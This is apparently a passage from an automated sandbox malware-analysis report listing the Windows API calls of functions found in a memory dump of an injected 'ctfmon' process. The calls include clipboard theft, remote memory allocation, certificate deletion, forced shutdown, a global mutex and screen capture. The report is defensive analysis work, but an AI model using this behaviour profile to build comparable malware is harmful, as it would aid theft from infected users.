      • Part of subcall function 00A44B5A: GetWindowThreadProcessId.USER32(?,?), ref: 00A44B85
      • Part of subcall function 00A44B5A: ResetEvent.KERNEL32(?), ref: 00A44BCD
      • Part of subcall function 00A44B5A: PostMessageW.USER32(?,?), ref: 00A44BF7
      • Part of subcall function 00A44B5A: WaitForSingleObject.KERNEL32(?,00000064), ref: 00A44C06
      • Part of subcall function 00A44B5A: ResetEvent.KERNEL32(?), ref: 00A44C31
      • Part of subcall function 00A44B5A: PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00A44C45
      • Part of subcall function 00A44B5A: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A44C57
      • Part of subcall function 00A44B5A: TerminateProcess.KERNEL32(?,00000000), ref: 00A44C7A
      • Part of subcall function 00A44B5A: IntersectRect.USER32(?,?,?), ref: 00A44CA2
      • Part of subcall function 00A44B5A: FillRect.USER32(?,?,00000006), ref: 00A44CB4
      • Part of subcall function 00A44B5A: DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00A44CC8
    • GetTopWindow.USER32(?), ref: 00A44D8C
      • Part of subcall function 00A4CC46: GetWindow.USER32(?,00000001), ref: 00A4CC68
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A586E2, Relevance: 7.6, APIs: 5, Instructions: 70
    APIs
    • GetClipboardData.USER32(?), ref: 00A586EB
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • GlobalLock.KERNEL32 ref: 00A5871F
    • EnterCriticalSection.KERNEL32(00A64170,00000000), ref: 00A5875F
      • Part of subcall function 00A583EA: EnterCriticalSection.KERNEL32(00A64170,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58407
      • Part of subcall function 00A583EA: LeaveCriticalSection.KERNEL32(00A64170,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58428
      • Part of subcall function 00A583EA: EnterCriticalSection.KERNEL32(00A64170,?,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58439
      • Part of subcall function 00A583EA: LeaveCriticalSection.KERNEL32(00A64170,?,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A584C1
    • LeaveCriticalSection.KERNEL32(00A64170,?,00A37298), ref: 00A58776
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • GlobalUnlock.KERNEL32(?), ref: 00A58789
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A560BE, Relevance: 7.6, APIs: 5, Instructions: 66
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00A560DC
    • GetModuleHandleA.KERNEL32(?), ref: 00A560FB
    • GetFileVersionInfoSizeA.VERSION(?,00000000), ref: 00A56106
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • GetFileVersionInfoA.VERSION(?,00000000), ref: 00A56125
    • VerQueryValueA.VERSION(?,00A37250,00000000,00000000), ref: 00A56145
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A56387, Relevance: 7.6, APIs: 5, Instructions: 65
    APIs
    • GetProcAddress.KERNEL32(?,?), ref: 00A563DB
    • GetProcAddress.KERNEL32(?,?), ref: 00A563E7
    • GetProcAddress.KERNEL32(?,?), ref: 00A563F3
    • GetProcAddress.KERNEL32(?,?), ref: 00A563FF
    • GetProcAddress.KERNEL32(?,?), ref: 00A5640B
      • Part of subcall function 00A55E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00A55E37
      • Part of subcall function 00A3924C: InterlockedExchange.KERNEL32(00A63060,00000000,7C80AE40), ref: 00A39261
      • Part of subcall function 00A3924C: InterlockedExchange.KERNEL32(00A63040,00000000), ref: 00A3926A
      • Part of subcall function 00A3924C: InitializeCriticalSection.KERNEL32(00A63018), ref: 00A39271
      • Part of subcall function 00A3924C: GetProcAddress.KERNEL32(?,?), ref: 00A392D1
      • Part of subcall function 00A3924C: GetProcAddress.KERNEL32(?), ref: 00A392E2
      • Part of subcall function 00A3924C: GetProcAddress.KERNEL32(?), ref: 00A392F2
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A503CF, Relevance: 7.6, APIs: 5, Instructions: 64
    APIs
    • SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 00A5040E
    • Sleep.KERNEL32(000001F4), ref: 00A5041D
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00A50432
    • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00A5044A
    • RegCloseKey.ADVAPI32(?), ref: 00A50459
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4BA6A, Relevance: 7.6, APIs: 5, Instructions: 63
    APIs
    • socket.WS2_32(?,00000002,00000000), ref: 00A4BA7C
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,00A58A0E,00000000,?,00000000,00000000), ref: 00A4BAA6
    • WSAGetLastError.WS2_32(?,48000016,00000000,00000000,00A58A0E,00000000,?,00000000,00000000,00020000,00000001,?,00A58A0E,?,00020000), ref: 00A4BAAD
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,?,?,?,00000000,00000000), ref: 00A4BAD9
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • #3.WS2_32(?,?,48000016,00000000,00000000,00A58A0E,00000000,?,00000000,00000000,00020000,00000001,?,00A58A0E,?,00020000), ref: 00A4BAED
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4DCBF, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 00A4DCF0
      • Part of subcall function 00A4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4D95E
      • Part of subcall function 00A4D955: DeleteFileW.KERNEL32(?), ref: 00A4D968
    • FindNextFileW.KERNEL32(?,?), ref: 00A4DD4B
    • FindClose.KERNEL32 ref: 00A4DD56
    • SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4DD62
    • RemoveDirectoryW.KERNEL32(?), ref: 00A4DD69
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5B388, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • EnterCriticalSection.KERNEL32(00A645A0), ref: 00A5B39D
    • LeaveCriticalSection.KERNEL32(00A645A0), ref: 00A5B3BC
    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000927C0), ref: 00A5B3D3
    • EnterCriticalSection.KERNEL32(00A645A0), ref: 00A5B3DE
    • LeaveCriticalSection.KERNEL32(00A645A0), ref: 00A5B3FC
      • Part of subcall function 00A4B708: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4B733
      • Part of subcall function 00A4B708: recv.WS2_32(?,?,00000400,00000000), ref: 00A4B77B
      • Part of subcall function 00A4B708: #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000,?,00A645A0), ref: 00A4B795
      • Part of subcall function 00A4B708: select.WS2_32(00000000,?,00000000,00000000,00A5B414), ref: 00A4B7D5
      • Part of subcall function 00A5B2E3: EnterCriticalSection.KERNEL32(00A645A0,?,?,00A5B607,00000000,00A5B388,?,000000FF,00000002,?,?,?,?,?), ref: 00A5B2F4
      • Part of subcall function 00A5B2E3: CloseHandle.KERNEL32(?), ref: 00A5B330
      • Part of subcall function 00A5B2E3: LeaveCriticalSection.KERNEL32(00A645A0,?,?,00A5B607,00000000,00A5B388,?,000000FF,00000002,?,?,?,?,?), ref: 00A5B37F
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A44AC6, Relevance: 7.5, APIs: 5, Instructions: 48
    APIs
    • GetCurrentThread.KERNEL32 ref: 00A44AD3
    • SetThreadPriority.KERNEL32 ref: 00A44ADA
    • SetEvent.KERNEL32 ref: 00A44AEC
      • Part of subcall function 00A44383: GetWindowInfo.USER32(?,?), ref: 00A443EF
      • Part of subcall function 00A44383: IntersectRect.USER32(?,?), ref: 00A44412
      • Part of subcall function 00A44383: IntersectRect.USER32(?,?), ref: 00A44468
      • Part of subcall function 00A44383: GetDC.USER32(00000000), ref: 00A444AC
      • Part of subcall function 00A44383: CreateCompatibleDC.GDI32 ref: 00A444BD
      • Part of subcall function 00A44383: ReleaseDC.USER32(00000000), ref: 00A444C7
      • Part of subcall function 00A44383: SelectObject.GDI32(?,?), ref: 00A444DC
      • Part of subcall function 00A44383: DeleteDC.GDI32 ref: 00A444EA
      • Part of subcall function 00A44383: TlsSetValue.KERNEL32(?), ref: 00A44535
      • Part of subcall function 00A44383: EqualRect.USER32(?,?), ref: 00A4454F
      • Part of subcall function 00A44383: SaveDC.GDI32 ref: 00A4455A
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A44575
      • Part of subcall function 00A44383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00A44595
      • Part of subcall function 00A44383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00A445A7
      • Part of subcall function 00A44383: RestoreDC.GDI32(?,?), ref: 00A445BE
      • Part of subcall function 00A44383: SaveDC.GDI32 ref: 00A445E0
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A445F6
      • Part of subcall function 00A44383: SendMessageW.USER32(?,00000014,?,00000000), ref: 00A4460F
      • Part of subcall function 00A44383: RestoreDC.GDI32(?,?), ref: 00A4461D
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A44630
      • Part of subcall function 00A44383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00A44640
      • Part of subcall function 00A44383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00A44652
      • Part of subcall function 00A44383: TlsSetValue.KERNEL32(00000000), ref: 00A4466C
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A4468C
      • Part of subcall function 00A44383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00A446A8
      • Part of subcall function 00A44383: SelectObject.GDI32(?,?), ref: 00A446BE
      • Part of subcall function 00A44383: DeleteDC.GDI32 ref: 00A446C5
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A446ED
      • Part of subcall function 00A44383: PrintWindow.USER32(00000008,?,00000000), ref: 00A44703
    • SetEvent.KERNEL32 ref: 00A44B39
    • GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00A44B46
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A50BDC, Relevance: 7.5, APIs: 5, Instructions: 36
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,00A371B8,?,?,00A38470), ref: 00A50BE7
    • CertDuplicateCertificateContext.CRYPT32(?,?,00000000,?,00B4FFB0,?,?,00A38470), ref: 00A50C00
    • CertDeleteCertificateFromStore.CRYPT32(?,?,?,00000000,?,00B4FFB0,?,?,00A38470), ref: 00A50C0B
    • CertEnumCertificatesInStore.CRYPT32(?,00000000,?,00B4FFB0,?,?,00A38470), ref: 00A50C13
    • CertCloseStore.CRYPT32(?,?,?,?,?,?,00000000,?,00B4FFB0,?,?,00A38470), ref: 00A50C1F
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5C7B3, Relevance: 7.5, APIs: 5, Instructions: 32
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A5C7B9
    • ReleaseMutex.KERNEL32 ref: 00A5C7ED
    • IsWindow.USER32(?), ref: 00A5C7F4
    • PostMessageW.USER32(?,00000215,00000000,?), ref: 00A5C80E
    • SendMessageW.USER32(?,00000215,00000000,?), ref: 00A5C816
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4C8C5, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 103
    APIs
      • Part of subcall function 00A4977E: GetTickCount.KERNEL32 ref: 00A4977E
    • CharUpperW.USER32(?,?,.exe,00000000), ref: 00A4C9E6
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A543C2, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 00A4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A4C6C6
      • Part of subcall function 00A4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A4C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A54429
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00A5447B
      • Part of subcall function 00A4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A4DDB9
      • Part of subcall function 00A4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4DDE0
      • Part of subcall function 00A4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A4DE2A
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE57
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE87
      • Part of subcall function 00A4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A4DEB5
      • Part of subcall function 00A4DD7A: FindClose.KERNEL32(?), ref: 00A4DEC7
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A53AE1, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 00A4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A4C6C6
      • Part of subcall function 00A4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A4C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A53B48
    • SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00A53B9A
      • Part of subcall function 00A4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A4DDB9
      • Part of subcall function 00A4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4DDE0
      • Part of subcall function 00A4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A4DE2A
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE57
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE87
      • Part of subcall function 00A4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A4DEB5
      • Part of subcall function 00A4DD7A: FindClose.KERNEL32(?), ref: 00A4DEC7
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A380FF, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52
    APIs
      • Part of subcall function 00A4834E: MultiByteToWideChar.KERNEL32(00A3815B,00000000,?,?,?,?), ref: 00A48365
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
    • PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00A3817A
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A58964, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
    APIs
    • PathRemoveFileSpecW.SHLWAPI(00A64398), ref: 00A589A0
    • PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00A589C0
      • Part of subcall function 00A4DC58: PathSkipRootW.SHLWAPI(?), ref: 00A4DC63
      • Part of subcall function 00A4DC58: GetFileAttributesW.KERNEL32(?), ref: 00A4DC8B
      • Part of subcall function 00A4DC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 00A4DC99
      • Part of subcall function 00A4BBC6: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 00A4BBE5
      • Part of subcall function 00A4BBC6: GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,00000000), ref: 00A4BC01
      • Part of subcall function 00A4BBC6: SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 00A4BC18
      • Part of subcall function 00A4BBC6: LocalFree.KERNEL32(?), ref: 00A4BC27
    • GetFileAttributesW.KERNEL32(00A64190), ref: 00A589E3
      • Part of subcall function 00A380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00A3817A
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A373FB, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00A37412
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00A37451
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00A37467
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4DA51, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00A4DA68
      • Part of subcall function 00A4977E: GetTickCount.KERNEL32 ref: 00A4977E
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00A4DABA
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4DC58, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • PathSkipRootW.SHLWAPI(?), ref: 00A4DC63
    • GetFileAttributesW.KERNEL32(?), ref: 00A4DC8B
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00A4DC99
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A475C9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000001,?,80000000), ref: 00A4762E
      • Part of subcall function 00A5A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 00A5A902
      • Part of subcall function 00A5A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 00A5A915
      • Part of subcall function 00A5A8DC: SHDeleteKeyW.SHLWAPI(80000001,?), ref: 00A5A953
      • Part of subcall function 00A5A8DC: CharToOemW.USER32(?,?), ref: 00A5A96F
      • Part of subcall function 00A5A8DC: CharToOemW.USER32(?,?), ref: 00A5A97E
      • Part of subcall function 00A5A8DC: ExitProcess.KERNEL32(00000000), ref: 00A5A9D6
      • Part of subcall function 00A50533: CreateMutexW.KERNEL32(00A62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A50556
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00A47641
      • Part of subcall function 00A49B6C: GetCurrentThread.KERNEL32 ref: 00A49B7C
      • Part of subcall function 00A49B6C: OpenThreadToken.ADVAPI32 ref: 00A49B83
      • Part of subcall function 00A49B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00A59F61), ref: 00A49B95
      • Part of subcall function 00A49B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00A59F61,?), ref: 00A49BB9
      • Part of subcall function 00A49B6C: AdjustTokenPrivileges.ADVAPI32(00A59F61,00000000,00000001,00000000,00000000,00000000), ref: 00A49BCE
      • Part of subcall function 00A49B6C: GetLastError.KERNEL32 ref: 00A49BD8
      • Part of subcall function 00A49B6C: CloseHandle.KERNEL32(00A59F61), ref: 00A49BE7
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5BBC0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • GetCurrentThreadId.KERNEL32 ref: 00A5BBCA
    • GetThreadDesktop.USER32 ref: 00A5BBD1
    • GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00A5BBEB
      • Part of subcall function 00A5B7E3: TlsAlloc.KERNEL32(?,00A645C0,00000000), ref: 00A5B7FD
      • Part of subcall function 00A5B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00A645C0,00000000), ref: 00A5B824
      • Part of subcall function 00A5B7E3: CreateEventW.KERNEL32(00A62AFC,00000001,00000000,?), ref: 00A5B84B
      • Part of subcall function 00A5B7E3: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A5B86B
      • Part of subcall function 00A5B7E3: CreateFileMappingW.KERNEL32(00000000,00A62AFC,00000004,00000000,03D09128,?), ref: 00A5B893
      • Part of subcall function 00A5B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00A5B8A9
      • Part of subcall function 00A5B7E3: GetDC.USER32(00000000), ref: 00A5B8C6
      • Part of subcall function 00A5B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 00A5B8E6
      • Part of subcall function 00A5B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00A5B8F0
      • Part of subcall function 00A5B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 00A5B8FD
      • Part of subcall function 00A5B7E3: ReleaseDC.USER32(00000000,00000000), ref: 00A5B925
      • Part of subcall function 00A5B7E3: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A5B9C9
      • Part of subcall function 00A5B7E3: GetDC.USER32(00000000), ref: 00A5B9DE
      • Part of subcall function 00A5B7E3: CreateCompatibleDC.GDI32 ref: 00A5B9EB
      • Part of subcall function 00A5B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00A5BA00
      • Part of subcall function 00A5B7E3: SelectObject.GDI32(?), ref: 00A5BA17
      • Part of subcall function 00A5B7E3: ReleaseDC.USER32(00000000), ref: 00A5BA2D
      • Part of subcall function 00A5BA3D: DeleteObject.GDI32(00000000), ref: 00A5BA4D
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BA5D
      • Part of subcall function 00A5BA3D: TlsFree.KERNEL32 ref: 00A5BA68
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BA76
      • Part of subcall function 00A5BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00A5BA80
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32 ref: 00A5BA8D
      • Part of subcall function 00A5BA3D: SelectObject.GDI32(00000000,00000000), ref: 00A5BAA7
      • Part of subcall function 00A5BA3D: DeleteObject.GDI32(00000000), ref: 00A5BAB8
      • Part of subcall function 00A5BA3D: DeleteDC.GDI32(00000000), ref: 00A5BAC5
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BAD6
      • Part of subcall function 00A5BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A5BAE5
      • Part of subcall function 00A5BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A5BC3C,00000000,00A645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A5BAFE
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A3787A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00A37898
    • PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 00A378A7
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00A378BB
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A49CA7, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26
    APIs
    • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00A49CB4
    • GetProcAddress.KERNEL32(?,IsWow64Process), ref: 00A49CC4
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5131B, Relevance: 6.3, APIs: 4, Instructions: 299
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 00A514ED
    • RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 00A5150D
    • RegCloseKey.ADVAPI32(000000FF), ref: 00A51520
    • GetLocalTime.KERNEL32(?), ref: 00A5152F
      • Part of subcall function 00A480EB: HeapAlloc.KERNEL32(00000008,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?,?), ref: 00A4810D
      • Part of subcall function 00A480EB: HeapReAlloc.KERNEL32(00000008,?,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?), ref: 00A4811E
      • Part of subcall function 00A49656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A4966F
      • Part of subcall function 00A49656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00A49687
      • Part of subcall function 00A49656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00A496A3
      • Part of subcall function 00A49656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00A496BB
      • Part of subcall function 00A49656: CryptDestroyHash.ADVAPI32(?), ref: 00A496D2
      • Part of subcall function 00A49656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A496DC
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
